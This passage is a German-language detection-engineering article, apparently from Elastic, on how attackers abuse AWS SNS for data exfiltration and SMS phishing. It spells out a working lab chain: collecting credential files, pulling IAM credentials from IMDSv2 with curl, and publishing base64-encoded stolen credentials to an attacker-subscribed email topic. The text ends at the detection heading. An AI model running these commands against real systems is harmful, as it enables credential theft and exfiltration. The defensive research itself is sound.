Präambel

Willkommen zu einer weiteren Folge von AWS Detection Engineering mit Elastic. In diesem Artikel erfahren Sie, wie Threat Adversators (TA) den Simple Notification Service (SNS) von AWS nutzen und wie Sie mithilfe dieser Datenquelle nach Indikatoren für Missbrauch suchen können.

Erwarten Sie mehr über potenzielle Techniken, die Bedrohungsangreifer in Bezug auf SNS anwenden können. Wir werden uns auch mit Best Practices für die Sicherheit, der Härtung von Rollen und Zugriffen sowie der Entwicklung einer Bedrohungserkennungslogik für SNS-Missbrauch befassen.

Diese Forschung war das Ergebnis einer kürzlich durchgeführten internen Zusammenarbeit, bei der wir SNS für die Datenexfiltration während einer Whitebox-Übung nutzen mussten. Während dieser Zusammenarbeit waren wir fasziniert davon, wie ein einfacher Publikations- und Abonnementdienst (Pub/Sub) von Angreifern missbraucht werden kann, um verschiedene Maßnahmen zur Erreichung von Zielen zu erreichen. Wir haben uns mit öffentlich bekannten SNS-Missbrauchsversuchen und unserem Wissen über die Datenquelle befasst, um diese Forschung über Erkennungsmöglichkeiten zusammenzustellen.

Genießen Sie es!

Grundlegendes zu AWS SNS

Bevor wir mit den Details beginnen, wollen wir besprechen, was AWS SNS ist, um ein grundlegendes Verständnis zu erlangen.

AWS SNS ist ein Webservice, der es Benutzern ermöglicht, Benachrichtigungen aus der Cloud zu senden und zu empfangen. Stellen Sie es sich wie einen Newsfeed-Dienst vor, bei dem ein digitales Thema erstellt wird, diejenigen, die an Updates interessiert sind, sich per E-Mail, Slack usw. anmelden und wenn Daten zu diesem Thema veröffentlicht werden, werden alle Abonnenten benachrichtigt und erhalten sie. Dies beschreibt einen sogenannten Pub/Sub-Dienst, der häufig von Clouddienstanbietern (Cloud Service Providers, CSP) bereitgestellt wird. In Azure wird dies als Web PubSub angeboten, während GCP Pub/Sub anbietet. Während sich die Namen dieser Dienste von Plattform zu Plattform leicht unterscheiden können, tun dies der Nutzen und der Zweck nicht.

SNS bietet zwei Workflows, Application-to-Person (A2P) und Application-to-Application (A2A), die unterschiedlichen Zwecken dienen. A2P-Workflows konzentrieren sich mehr auf den integralen Betrieb mit AWS-Services wie Firehose, Lambda, SQS und mehr. In diesem Artikel werden wir uns jedoch auf A2P-Workflows konzentrieren. Wie im folgenden Diagramm gezeigt, wird häufig ein SNS-Thema erstellt, das es Abonnenten ermöglicht, SMS-, E-Mail- oder Push-Benachrichtigungen für den Empfang von Nachrichten zu nutzen.

Zusätzliche Funktionen:

Filter-Richtlinien: Abonnenten können Filterregeln definieren, um nur eine relevante Teilmenge von Nachrichten zu erhalten, wenn sie dies wünschen. Diese Filterrichtlinien werden im JSON-Format definiert. Angeben, an welchen Attributen einer Nachricht der Abonnent interessiert ist. SNS wertet diese Richtlinien vor der Zustellung serverseitig aus, um zu bestimmen, an welche Abonnenten die Nachrichten gesendet werden sollen.

Verschlüsselung: SNS nutzt serverseitige Verschlüsselung (SSE) mit AWS Key Management Service (KMS), um Nachrichten im Ruhezustand zu sichern. Wenn die Verschlüsselung aktiviert ist, werden Nachrichten verschlüsselt, bevor sie in SNS gespeichert werden, und dann bei der Zustellung an den Endpunkt entschlüsselt. Dies ist natürlich wichtig, um die Sicherheit von personenbezogenen Daten (PII) oder anderen sensiblen Daten wie Kontonummern zu gewährleisten. Keine Angst, obwohl SNS nur im Ruhezustand verschlüsselt, übernehmen andere Protokolle (wie HTTPS) die Verschlüsselung während der Übertragung und machen sie zu Ende-zu-Ende (E2E).

Zustellungswiederholungen und Dead Letter Queues (DLQs): SNS wiederholt automatisch die Nachrichtenübermittlung an Endpunkte wie SQS, Lambda usw., wenn unerwartete Fehler auftreten. Nachrichten, die nicht zugestellt werden können, befinden sich jedoch letztendlich in DLQs, bei denen es sich in der Regel um eine AWS SQS-Warteschlange handelt, die das Debuggen für Entwickler ermöglicht.

Skalierbarkeit: AWS SNS ist für die Verarbeitung großer Nachrichtenmengen ausgelegt und wird automatisch skaliert, um den zunehmenden Datenverkehr ohne manuelle Eingriffe zu bewältigen. Es gibt keine Vorabanforderungen für die Bereitstellung, und Sie zahlen nur für das, was Sie nutzen, was für die meisten Unternehmen kostengünstig ist.

AWS SNS ist ein leistungsstarkes Tool zur Erleichterung der Kommunikation in Cloud-Umgebungen. Für ein tieferes Verständnis empfehlen wir, in die vorhandene Dokumentation von AWS einzutauchen. Seine Vielseitigkeit und Integrationsfähigkeit machen es jedoch auch anfällig für Missbrauch. Im nächsten Abschnitt untersuchen wir einige Szenarien, in denen Angreifer SNS für böswillige Zwecke nutzen könnten.

Whitebox-Tests

Whitebox-Tests umfassen die Durchführung atomarer Emulationen von bösartigem Verhalten in einer kontrollierten Umgebung mit vollständiger Transparenz der anfälligen oder falsch konfigurierten Infrastruktur und ihrer Konfigurationen. Dieser Ansatz wird häufig in Cloud-Umgebungen eingesetzt, um Erkennungsfunktionen während der Entwicklung von Regeln oder Modellen zur Bedrohungserkennung zu validieren, die auf bestimmte Taktiken, Techniken und Verfahren (TTPs) abzielen. Im Gegensatz zu Endpunktumgebungen, in denen Angreifersimulationen häufig die Detonation von Malware-Binärdateien und -Tools beinhalten, nutzen Cloud-basierte TTPs in der Regel vorhandene API-gesteuerte Dienste durch "Living-off-the-Cloud"-Techniken aus, was diesen Ansatz für eine genaue Analyse und Erkennung unerlässlich macht.

Datenexfiltration über SNS

Die Exfiltration über SNS beginnt mit der Erstellung eines Themas, das als Proxy für den Empfang gestohlener Daten und deren Übermittlung an die externe Medienquelle wie E-Mail oder Mobiltelefon dient. Angreifer würden dann diese Medienquelle für das Thema abonnieren, so dass alle empfangenen Daten an sie weitergeleitet werden. Nachdem dies bereitgestellt wurde, geht es nur noch darum, die Daten zu verpacken und sie im SNS-Topic zu veröffentlichen, das die Verteilung übernimmt. Diese Methode ermöglicht es Angreifern, herkömmliche Datenschutzmechanismen wie Netzwerk-ACLs zu umgehen und Informationen an nicht autorisierte externe Ziele zu exfiltrieren.

Beispiel für einen Arbeitsablauf:

• Landen Sie auf einer EC2-Instance und führen Sie die Erkennung sensibler Daten durch und stellen Sie sie für später bereit.
• Nutzen Sie IMDSv2 und STS nativ mit der installierten AWS CLI, um temporäre Creds zu erhalten
• Erstellen Sie ein Thema in SNS und fügen Sie eine externe E-Mail-Adresse als Abonnent hinzu
• Veröffentlichen vertraulicher Informationen zum Thema, die in Base64 (oder Klartext) codiert sind
• Die externe E-Mail-Adresse erhält die exfiltrierten Daten

Einrichtung der Infrastruktur

Für die Opferinfrastruktur verwenden wir unser bevorzugtes Infrastructure-as-Code-Framework (IaC), Terraform.

Es wurde ein öffentlicher Kern erstellt, der alle notwendigen Dateien enthält, um diesem Beispiel zu folgen. Zusammenfassend lässt sich sagen, dass diese Terraform-Konfigurationen eine EC2-Instance in AWS innerhalb eines öffentlichen Subnetzes bereitstellen. Das Setup umfasst ein Benutzerdatenskript , das Dummy-Anmeldeinformationen für vertrauliche Daten als Umgebungsvariablen hinzufügt und die AWS CLI installiert, um eine kompromittierte Umgebung zu emulieren. Darüber hinaus wird der EC2-Instance eine IAM-Rolle mit Berechtigungen für sns:Publish, sns:Subscribe und sns:CreateTopiczugewiesen.

Es gibt mehrere Möglichkeiten, wie ein Angreifer ersten Zugriff auf diese EC2-Instanz erhalten kann, einschließlich der Ausnutzung anfälliger Webanwendungen für die Bereitstellung von Web-Shells, der Verwendung gestohlener SSH-Anmeldeinformationen, Passwort-Spraying oder Credential Stuffing. In diesem speziellen Beispielszenario; Nehmen wir an, der Angreifer hat sich über eine anfällige Webanwendung einen ersten Zugang verschafft und anschließend eine Web-Shell hochgeladen. Das nächste Ziel in diesem Fall wäre die Persistenz über den Zugriff auf die Anmeldeinformationen. Dies ist häufig in freier Wildbahn zu beobachten, wenn Angreifer beliebte 3rd-Party-Software oder Web-Apps wie Oracle WebLogic, Apache Tomcat, Atlassian Confluence, Microsoft Exchange und viele mehr ins Visier nehmen.

Laden Sie zunächst die Terraform-Dateien aus dem Gist herunter.

1. Passen Sie die Variablen in der variables.tf Datei an Ihr Setup an.
   1. Fügen Sie Ihre IPv4-Adresse auf der Whitelist für trusted_ip_cidr hinzu
   2. Fügen Sie Ihren lokalen SSH-Schlüsseldateipfad zu public_key_path hinzu
   3. Stellen Sie sicher, dass die ami_id.default die richtige AMI-ID für Ihre Region ist.
2. Führen Sie terraform init in dem Ordner aus, um das Arbeitsverzeichnis zu initialisieren.

Wenn Sie fertig sind, führen Sie terraform apply aus, um die Infrastruktur bereitzustellen.

Ein paar Erinnerungen:

• Terraform verwendet Ihr AWS CLI-Standardprofil, stellen Sie also sicher, dass Sie mit dem richtigen Profil in Ihrer AWS-Konfiguration arbeiten.
• Die angegebene AMI-ID ist spezifisch für die us-east-1 Region. Wenn Sie die Bereitstellung in einer anderen Region durchführen, aktualisieren Sie die AMI-ID in der variables.tf Datei entsprechend.
• Ändern Sie trusted_ip_cidr.default in variables.tf von 0.0.0.0/0 (beliebige IP-Adresse) in Ihren öffentlich bekannten CIDR-Bereich.

Ausgabe der Terraform-Anwendung

Lassen Sie uns SSH in unsere EC2-Instanz einbinden, um sicherzustellen, dass unsere vertraulichen Anmeldeinformationen aus dem Benutzerdatenskript erstellt wurden. Beachten Sie, dass wir in der outputs.tf Datei sichergestellt haben, dass der SSH-Befehl basierend auf dem Schlüsselpfad und der öffentlichen IP unserer EC2-Instanz für uns generiert wird.

Nachdem diese Infrastruktur bereitgestellt und bestätigt ist, können wir zur praktischen Ausführung übergehen.

Der Workflow in der Praxis: Exfiltrieren sensibler Anmeldeinformationen

Lassen Sie uns diesen Workflow in der Praxis durchgehen, nachdem unsere Infrastruktur eingerichtet ist. Zur Erinnerung: Das Ziel unseres opportunistischen Gegners besteht darin, nach lokalen Anmeldeinformationen zu suchen, sich zu beschaffen, was sie können, und die sensiblen Daten lokal bereitzustellen. Seit der Landung auf dieser EC2-Instance haben wir festgestellt, dass die AWS CLI existiert und dass wir über SNS-Berechtigungen verfügen. Daher planen wir, ein SNS-Thema zu erstellen, eine externe E-Mail als Abonnent zu registrieren und dann unsere gestohlenen Anmeldeinformationen und andere Daten als SNS-Nachrichten zu exfiltrieren.

Hinweis: Obwohl dieses Beispiel extrem einfach ist, besteht das Ziel darin, sich auf SNS als Methode für die Exfiltration zu konzentrieren. Die genauen Umstände und das Szenario variieren je nach der spezifischen Infrastruktureinrichtung des Opfers.

Identifizieren und Sammeln von Anmeldeinformationen an allgemeinen Speicherorten:
Unser Angreifer wird es auf GitHub-Anmeldeinformationsdateien und .env abgesehen haben Dateien lokal mit einigen guten alten Bash-Skripten. Dadurch werden die Anmeldeinformationen aus diesen Dateien in den temporären Ordner /tmp abgelegt, um sie für die Exfiltration bereitzustellen.

Befehl: cat /home/ubuntu/.github/credentials /home/ubuntu/project.env > /tmp/stolen_creds.txt

Stufen-Exfiltrationsmethode durch Erstellen eines SNS-Themas
Lassen Sie uns die vorhandene AWS CLI nutzen, um das SNS-Thema zu erstellen. Zur Erinnerung: Diese EC2-Instance übernimmt die von uns erstellte und angehängte benutzerdefinierte IAM-Rolle, die es ihr ermöglicht, SNS-Themen zu erstellen und Nachrichten zu veröffentlichen. Da die AWS CLI auf unserer EC2-Instance vorinstalliert ist, ruft sie beim Aufruf temporäre Anmeldeinformationen von IMDSv2 für die angenommene Rolle ab. Wenn dies jedoch nicht der Fall wäre, könnte ein Angreifer Anmeldeinformationen nativ mit dem folgenden Bash-Code abrufen.

# Fetch the IMDSv2 token
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Get the IAM role name
ROLE_NAME=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)

# Fetch the temporary credentials
CREDENTIALS=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME)

# Extract the Access Key, Secret Key, and Token
AWS_ACCESS_KEY_ID=$(echo $CREDENTIALS | jq -r '.AccessKeyId')
AWS_SECRET_ACCESS_KEY=$(echo $CREDENTIALS | jq -r '.SecretAccessKey')
AWS_SESSION_TOKEN=$(echo $CREDENTIALS | jq -r '.Token')

Sobald dies abgeschlossen ist, versuchen wir, unser SNS-Thema und die E-Mail-Adresse zu erstellen, die als externer Empfänger für die exfiltrierten Daten verwendet wird.

Befehl "Zweig erstellen": TOPIC_ARN=$(aws sns create-topic --name "whitebox-sns-topic" --query 'TopicArn' --output text)

Abonnieren-Befehl: aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol email --notification-endpoint "adversary@protonmail.com"

Wie oben gezeigt, können wir nach dem Ausführen der Befehle zum Posteingang der externen E-Mail-Adresse navigieren, um das Abonnement zu bestätigen. Nach der Bestätigung erhält unsere externe E-Mail-Adresse nun alle Nachrichten, die an die whitebox-sns-topic topic gesendet werden, die wir für die Exfiltration verwenden möchten.

Exfiltrieren von Daten über SNS Publish
Zu diesem Zeitpunkt haben wir uns Zugang zu einer EC2-Instanz verschafft, herumgeschnüffelt, um unsere Umgebung zu verstehen, einige Dienste für Missbrauch identifiziert und einige Anmeldeinformationen erhalten, die wir erhalten möchten. Beachten Sie, dass unsere vorherigen Schritte alle über ein einfaches Bash-Skript hätten ausgeführt werden können, das über unsere Webshell auf der kompromittierten EC2-Instanz abgelegt werden konnte, aber dies wird zu Beispielzwecken in einzelne Schritte unterteilt.

Als nächstes können wir die Daten, die wir in /tmp/stolen_creds.txtgespeichert haben, mit Base64 verschlüsseln und über SNS an unsere vom Angreifer kontrollierte E-Mail-Adresse senden.

Befehle:

• Base64-Codierungsinhalte: BASE64_CONTENT=$(base64 /tmp/stolen_creds.txt)
• Veröffentlichen Sie codierte Anmeldeinformationen in unserem Thema: aws sns publish --topic-arn "$TOPIC_ARN" --message "$BASE64_CONTENT" --subject "Encoded Credentials from EC2"

Sobald dies abgeschlossen ist, können wir einfach unseren Posteingang auf diese exfiltrierten Anmeldeinformationen überprüfen.

Wenn wir die Nutzlast aus unserer Nachricht nehmen, können wir sie dekodieren, um zu sehen, dass sie die Anmeldeinformationen darstellt, die wir auf der EC2-Instanz gefunden haben.

Da viele Angreifer versuchen könnten, Persistenz zu etablieren oder sich quer durch die AWS-Umgebung und -Services zu bewegen, könnten sie sich dann auf dieses SNS-Thema verlassen, um Daten zu exfiltrieren, solange sich die Berechtigungen für den IAM-Benutzer oder die IAM-Rolle im Gültigkeitsbereich befinden. Darüber hinaus könnten sie einen wiederkehrenden Job einrichten, der nach Daten auf dieser EC2-Instance sucht und im Laufe der Zeit kontinuierlich alles Interessante exfiltriert. In diesem Szenario gibt es viele praktische Optionen für zusätzliche Verkettungen, die durchgeführt werden könnten.

Bevor Sie fortfahren, empfehlen wir Ihnen, den folgenden Befehl zu verwenden, um Ihre Infrastruktur zu zerstören, sobald Sie sich von der SSH-Verbindung abmelden: terraform destroy --auto-approve

Herausforderungen für Gegner:

Natürlich gibt es viele Unsicherheiten bei jedem Whitebox-Testing, die sich als Hindernisse oder Hürden für einen TA erweisen können, sowohl für fortgeschrittene als auch für unreife Kenntnisse, Fähigkeiten und Fertigkeiten. Es hängt auch sehr von der Konfiguration und Umgebung des potenziellen Opfers ab. Im Folgenden finden Sie weitere Herausforderungen, mit denen Angreifer konfrontiert wären.

Erstzugriff: Der Erstzugriff auf die EC2-Instanz ist oft die größte Hürde. Dies kann die Ausnutzung einer anfälligen Webanwendung oder eines Drittanbieterdienstes, die Verwendung gestohlener SSH-Anmeldeinformationen, Passwort-Spraying oder Credential Stuffing oder die Nutzung anderer Mittel wie Social Engineering oder Phishing beinhalten. Ohne initialen Zugriff ist die gesamte Angriffskette nicht durchführbar.

Einrichten einer aktiven Sitzung: Nach dem Zugriff kann es schwierig sein, eine aktive Sitzung aufrechtzuerhalten, insbesondere wenn die Umgebung einen robusten Endpunktschutz oder regelmäßige Neustarts umfasst, die nicht autorisierte Aktivitäten löschen. Angreifer müssen möglicherweise mit Techniken wie einer Webshell, einer Reverse-Shell oder einem automatisierten Dropper-Skript dauerhaft Fuß fassen.

AWS CLI auf der Instance installiert: Das Vorhandensein der AWS CLI auf einer öffentlich zugänglichen EC2-Instance ist ungewöhnlich und wird nicht als bewährte Methode angesehen. Viele sichere Umgebungen vermeiden die Vorinstallation der AWS CLI, so dass Angreifer gezwungen sind, ihre eigenen Tools mitzubringen oder sich auf weniger direkte Methoden zur Interaktion mit AWS-Services zu verlassen.

IAM-Rollenberechtigungen: Die IAM-Rolle, die der EC2-Instanz zugeordnet ist, muss freizügige Richtlinien für SNS-Aktionen enthalten (sns:Publish, sns:Subscribe sns:CreateTopic, sts:GetCallerIdentity). Viele Umgebungen schränken diese Berechtigungen ein, um eine unbefugte Verwendung zu verhindern, und Fehlkonfigurationen sind oft erforderlich, damit der Angriff erfolgreich ist. Bewährte Sicherheitspraktiken wie das Prinzip der geringsten Rechte (PoLP) würden sicherstellen, dass die Rollen nur mit den erforderlichen Berechtigungen eingerichtet werden.

Ausführung bösartiger Skripte: Das erfolgreiche Ausführen eines Skripts oder das Ausführen von Befehlen, ohne Alarme auszulösen (z. B. CloudTrail, GuardDuty, EDR-Agenten), ist eine Herausforderung. Angreifer müssen sicherstellen, dass sich ihre Aktivitäten in den legitimen Datenverkehr einfügen, oder Verschleierungstechniken verwenden, um der Erkennung zu entgehen.

Vorteile für Angreifer

Obwohl diese Techniken für den Angreifer Herausforderungen mit sich bringen, sollten wir uns einige entscheidende Vorteile ansehen, die sie ebenfalls haben können.

• Verschmelzung mit nativen AWS-Services: Durch die Nutzung von AWS SNS für die Datenexfiltration erscheint die Aktivität des Angreifers als legitime Nutzung eines nativen AWS-Flaggschiff-Service. SNS wird häufig für Benachrichtigungen und Datenverbreitung verwendet, wodurch es weniger wahrscheinlich ist, dass ein unmittelbarer Verdacht besteht.
• Identitätswechsel über IAM-Rolle: Aktionen, die über die AWS CLI ausgeführt werden, werden der IAM-Rolle zugeordnet, die der EC2-Instance zugeordnet ist. Wenn die Rolle bereits über Berechtigungen für SNS-Aktionen verfügt und regelmäßig für ähnliche Aufgaben verwendet wird, können gegnerische Aktivitäten nahtlos mit den erwarteten Vorgängen übergehen.
• Keine Bedenken hinsichtlich Sicherheitsgruppen oder Netzwerk-ACLs: Da die SNS-Kommunikation vollständig innerhalb der Grenzen von AWS erfolgt, besteht keine Abhängigkeit von Sicherheitsgruppen- oder Netzwerk-ACL-Konfigurationen. Dadurch werden herkömmliche Kontrollen des ausgehenden Datenverkehrs umgangen und sichergestellt, dass die Datenexfiltrationsversuche des Angreifers nicht blockiert werden.
• Fehlende Erkennungen für SNS-Missbrauch: Der Missbrauch von SNS für die Datenexfiltration wird in vielen Umgebungen unzureichend überwacht. Sicherheitsteams konzentrieren sich möglicherweise auf häufiger missbrauchte AWS-Services (z. B. S3 oder EC2) und es fehlen dedizierte Erkennungen oder Warnungen für ungewöhnliche SNS-Aktivitäten, wie z. B. die häufige Erstellung von Themen oder große Mengen veröffentlichter Nachrichten.
• Minimaler Fußabdruck mit nicht-invasiven Befehlen: Lokale Befehle, die vom Angreifer verwendet werden (z. B. cat, echo base64) sind harmlos und lösen in der Regel keine EDR-Tools (Endpoint Detection and Response) aus. Diese Befehle sind bei legitimen Verwaltungsaufgaben üblich und ermöglichen es Angreifern, die Erkennung auf Backend-Linux-Systemen zu vermeiden.
• Effiziente und skalierbare Exfiltration: SNS ermöglicht eine skalierbare Exfiltration, indem es Angreifern ermöglicht, große Datenmengen an mehrere Abonnenten zu senden. Einmal eingerichtet, kann der Angreifer die periodische Veröffentlichung sensibler Informationen mit minimalem zusätzlichen Aufwand automatisieren.
• Persistente Exfiltrationsfunktionen: Solange das SNS-Thema und das Abonnement aktiv bleiben, kann der Angreifer die Infrastruktur für die laufende Exfiltration nutzen. Dies gilt insbesondere dann, wenn die IAM-Rolle ihre Berechtigungen behält und keine proaktive Überwachung implementiert ist.
• Umgehung von Egress Monitoring und DLP: Da die Daten über SNS innerhalb der AWS-Umgebung exfiltriert werden, werden herkömmliche Lösungen zur Überwachung des ausgehenden Datenverkehrs oder zur Verhinderung von Datenverlust umgangen, die sich auf ausgehenden Datenverkehr zu externen Zielen konzentrieren.

Missbrauch in freier Wildbahn

Whitebox-Szenarien sind zwar von unschätzbarem Wert für die Simulation potenzieller gegnerischer Verhaltensweisen, aber es ist ebenso wichtig, diese Simulationen mit In-the-Wild-Bedrohungen (ItW) zu untermauern. Zu diesem Zweck haben wir öffentlich zugängliche Forschungsergebnisse untersucht und einen wichtigen Artikel von SentinelOne identifiziert, in dem eine Spam-Messaging-Kampagne beschrieben wird, bei der AWS SNS genutzt wird. Anhand der Erkenntnisse aus dieser Forschung haben wir versucht, diese Techniken in einer kontrollierten Umgebung zu replizieren, um ihre Auswirkungen besser zu verstehen.

Obwohl wir nicht auf die Attributionsanalyse eingehen werden, die in der Studie von SentinelOne skizziert wurde, empfehlen wir dringend, ihre Arbeit zu überprüfen, um tiefer in die Ursprünge der Kampagne einzutauchen. Stattdessen konzentrieren wir uns auf die Tools und Techniken, die der Angreifer einsetzt, um AWS SNS für böswillige Zwecke zu missbrauchen.

Smishing und Phishing

Kompromittierte AWS-Umgebungen mit vorkonfigurierten SNS-Services können als Startrampe für Smishing (SMS-Phishing) oder Phishing-Angriffe dienen. Angreifer können legitime SNS-Themen und -Abonnenten ausnutzen, um betrügerische Nachrichten intern oder extern zu verbreiten und so das inhärente Vertrauen in die Kommunikationskanäle eines Unternehmens zu nutzen.

Wie im Blog von SentinelOne ausführlich beschrieben, verwendete der Angreifer ein Python-basiertes Tool namens SNS Sender. Dieses Skript ermöglichte Massen-SMS-Phishing-Kampagnen, indem es direkt mit AWS SNS-APIs interagierte und dabei kompromittierte AWS-Anmeldeinformationen verwendete. Diese authentifizierten API-Anfragen ermöglichten es dem Angreifer, gängige Sicherheitsvorkehrungen zu umgehen und Phishing-Nachrichten in großen Mengen zu versenden.

Das SNS Sender-Skript nutzt gültige AWS-Zugriffsschlüssel und Geheimnisse, um authentifizierte API-Sitzungen über das AWS SDK einzurichten. Mit diesen Anmeldeinformationen können Angreifer Phishing-Workflows erstellen, die Folgendes umfassen:

1. Einrichten authentifizierter SNS-API-Sitzungen über das AWS SDK.
2. Auflisten und Targeting von Listen mit Telefonnummern, die als Phishing-Empfänger dienen sollen.
3. Verwendung einer vorregistrierten Absender-ID (falls verfügbar) für das Spoofing vertrauenswürdiger Entitäten.
4. Versenden von SMS-Nachrichten mit bösartigen Links, die sich häufig als legitimer Dienst ausgeben.

Elastic Security Labs prognostiziert, dass die Nutzung von einmaligen oder kommerziell verfügbaren Tools für den Missbrauch von Cloud-Diensten wie SNS Sender als Forschungsschwerpunkt weiter zunehmen wird. Dies unterstreicht, wie wichtig es ist, diese Tools und ihre Auswirkungen auf die Cloud-Sicherheit zu verstehen.

Überlegungen zur Bewaffnung und zum Vortest

Um eine Phishing-Kampagne in großem Umfang mit AWS SNS erfolgreich durchzuführen, hätte der Angreifer Zugriff auf eine bereits registrierte AWS End User Messaging-Organisation benötigt. AWS beschränkt neue Konten auf den SNS-Sandbox-Modus, der das Senden von SMS an manuell verifizierte Telefonnummern beschränkt. Um Sandbox-Einschränkungen zu umgehen, benötigen Angreifer Zugriff auf ein Konto, das bereits für den Produktions-SMS-Versand genehmigt ist. Der Prozess der Tests und der Bewaffnung hätte mehrere wichtige Schritte erfordert.

Eine vollständig konfigurierte Einrichtung von AWS End User Messaging würde Folgendes erfordern:

• Eine etablierte Ursprungsidentität (die eine Langwahlnummer, eine gebührenfreie Nummer oder eine Kurzwahl umfasst).
• Behördliche Zulassung durch ein Markenregistrierungsverfahren.
• Vorabgenehmigung des Mobilfunkanbieters für SMS-Nachrichten mit hohem Volumen.

Ohne diese vorregistrierten Identifikatoren können AWS SNS-Nachrichten nicht priorisiert, blockiert oder nicht gesendet werden.

Vor der Durchführung eines groß angelegten Angriffs würden Angreifer wahrscheinlich die SMS-Zustellung mit verifizierten Telefonnummern im AWS SNS-Sandbox-Modus testen. Für diesen Prozess ist Folgendes erforderlich:

• Manuelles Überprüfen von Telefonnummern vor dem Senden von Nachrichten.
• Sicherstellen, dass der Netzbetreiber AWS SNS-Sandbox-Nachrichten zulässt, da einige (wie T-Mobile und Google Voice) häufig AWS SNS-Sandbox-Verifizierungs-SMS blockieren.
• Testen von Zustellungsrouten in verschiedenen AWS-Regionen, um festzustellen, in welchen Ländern benutzerdefinierte Absender-IDs oder Nicht-Sandbox-Nachrichten zulässig sind.

Wenn die Testumgebung eines Angreifers keine SNS-Verifizierungs-OTPs empfängt, wechselt er wahrscheinlich zu einem anderen AWS-Konto oder nutzt ein kompromittiertes AWS-Konto, das bereits über Messaging-Berechtigungen auf Produktionsebene verfügt.

Darüber hinaus würde der Angreifer wahrscheinlich Transaktionsnachrichten gegenüber Werbenachrichten priorisieren. Transaktionsnachrichten werden von AWS priorisiert (OTPs, Sicherheitswarnungen usw.) - während Werbenachrichten eine niedrigere Priorität haben und von bestimmten Anbietern gefiltert oder blockiert werden können.

Wenn Angreifer die Standardeinstellungen für den Nachrichtentyp nicht außer Kraft setzen können, können ihre Phishing-Nachrichten von AWS herabgestuft oder abgelehnt werden, was eine Hürde darstellen könnte.

Registrierte Ursprungsidentität und Absender-ID (falls unterstützt)

AWS erfordert die Markenregistrierung und die Überprüfung der Herkunftsidentität für Unternehmen, die große Mengen an SMS-Nachrichten versenden. Je nach Region und Netzbetreiber können Angreifer unterschiedliche Konfigurationen ausnutzen:

• Missbrauch der Absender-ID: In einigen Nicht-US-Ländern Regionen können Angreifer eine Absender-ID registrieren, um Phishing-Nachrichten von einer vertrauenswürdigen Entität anzeigen zu lassen. Dies kann das Spoofing von Banken, Reedereien oder Regierungsbehörden ermöglichen, was den Phishing-Versuch überzeugender macht.
• Long Code & Toll-Free Exploitation: AWS SNS weist Long Codes (Standard-Telefonnummern) oder gebührenfreie Nummern für ausgehende SMS zu. Gebührenfreie Nummern müssen registriert werden, können aber dennoch missbraucht werden, wenn ein Angreifer ein AWS-Konto mit einem aktiven gebührenfreien Messaging-Dienst kompromittiert.
• Kurzwahlbeschränkungen: Kurzwahlnummern mit hohem Durchsatz (5- oder 6-stellige Nummern) werden oft vom Netzbetreiber kontrolliert und erfordern eine zusätzliche Überprüfung, was sie für Angreifer weniger praktisch macht.

Einrichtung der Infrastruktur

Standardmäßig sind AWS-Konten, die den End User Messaging-Service nicht ordnungsgemäß konfiguriert haben, auf eine SMS-Sandbox beschränkt. Diese Sandbox ermöglicht es Entwicklern, die SMS-Funktionalität zu testen, indem sie Nachrichten an verifizierte Telefonnummern senden. Wie wir jedoch festgestellt haben, ist der Prozess der Überprüfung von Zahlen in der Sandbox mit Herausforderungen verbunden.

Trotz wiederholter Versuche, Telefonnummern in der Sandbox zu registrieren, stellten wir fest, dass Verifizierungsnachrichten (OTP-Codes) bei verschiedenen Anbietern und Diensten, einschließlich Google Voice und Twilio, nicht an den Endpunkten ankamen. Dies deutet darauf hin, dass Mobilfunkanbieter diese aus der Sandbox stammenden Nachrichten blockieren können, was den Verifizierungsprozess effektiv verzögert, uns aber letztendlich daran hindert, das Verhalten zu emulieren.

Für den Einsatz in der Produktion ist für die Migration aus der Sandbox ein vollständig konfigurierter AWS End User Messaging-Service erforderlich. Dazu gehören:

• Eine legitime Absender-ID.
• Ein Telefonpool für Failover.
• Identität der Entstehung.
• Markenregistrierung zur Einhaltung gesetzlicher Vorschriften.

Dieses Setup entspricht den Anforderungen des SNS-Sender-Skripts und stellt eine ideale Umgebung für Angreifer dar. Die Verwendung einer Absender-ID, die sich auf eine vorab festgelegte Ursprungsidentität und Markenregistrierung stützt, ermöglicht es, dass Phishing-Nachrichten so aussehen, als kämen sie von einer seriösen Organisation. Dies verringert die Wahrscheinlichkeit einer Erkennung oder Blockierung auf Carrier-Ebene und erhöht die Erfolgsquote der Kampagne.

Die Anforderungen für diesen Angriff deuten darauf hin, dass Angreifer wahrscheinlich Unternehmen ins Visier nehmen, die AWS End User Messaging für automatisierte SMS-Warnungen und Nachrichten verwenden. Branchen wie Logistik- und Lieferdienste, E-Commerce-Plattformen sowie Reisen und Gastgewerbe sind aufgrund ihrer Abhängigkeit von automatisierten SMS-Benachrichtigungen die Hauptziele.

Auf der Seite des Empfängers erscheint die Phishing-Nachricht so, als ob sie von einer vertrauenswürdigen Entität stammt, wodurch die Alarme des Netzbetreibers umgangen und der Verdacht entgangen wird.

Während unserer Tests stießen wir auf unerwartetes Verhalten bei der Protokollierung in CloudTrail, als wir versuchten, das Skript und die AWS CLI zu verwenden, um SMS-Nachrichten direkt über SNS zu senden. Fehlgeschlagene Zustellungsversuche von Nachrichten wurden nicht wie erwartet in CloudTrail-Protokollen angezeigt.

Obwohl der Publish API-Aufruf in der Regel in CloudTrail protokolliert wird (vorausgesetzt, Ereignisse auf Datenebene sind aktiviert), bleibt unklar, ob das Fehlen von Protokollen für fehlgeschlagene Versuche auf ein inhärentes SNS-Verhalten oder eine Fehlkonfiguration unsererseits zurückzuführen ist. Diese Lücke unterstreicht die Notwendigkeit einer eingehenderen Untersuchung, wie fehlgeschlagene SNS-Veröffentlichungsanforderungen von AWS verarbeitet werden und ob zusätzliche Konfigurationen erforderlich sind, um diese Ereignisse zuverlässig zu erfassen.

Aus diesem Grund haben wir festgestellt, dass es am besten wäre, eine Abfrage für die Bedrohungssuche anstelle einer Erkennungsregel einzuschließen, da das Verhalten des Angreifers nicht vollständig repliziert werden kann und sich auf bereits etablierte und registrierte Marken und die Ursprungsidentität vollständig verlassen kann.

Möglichkeiten zur Erkennung und Jagd

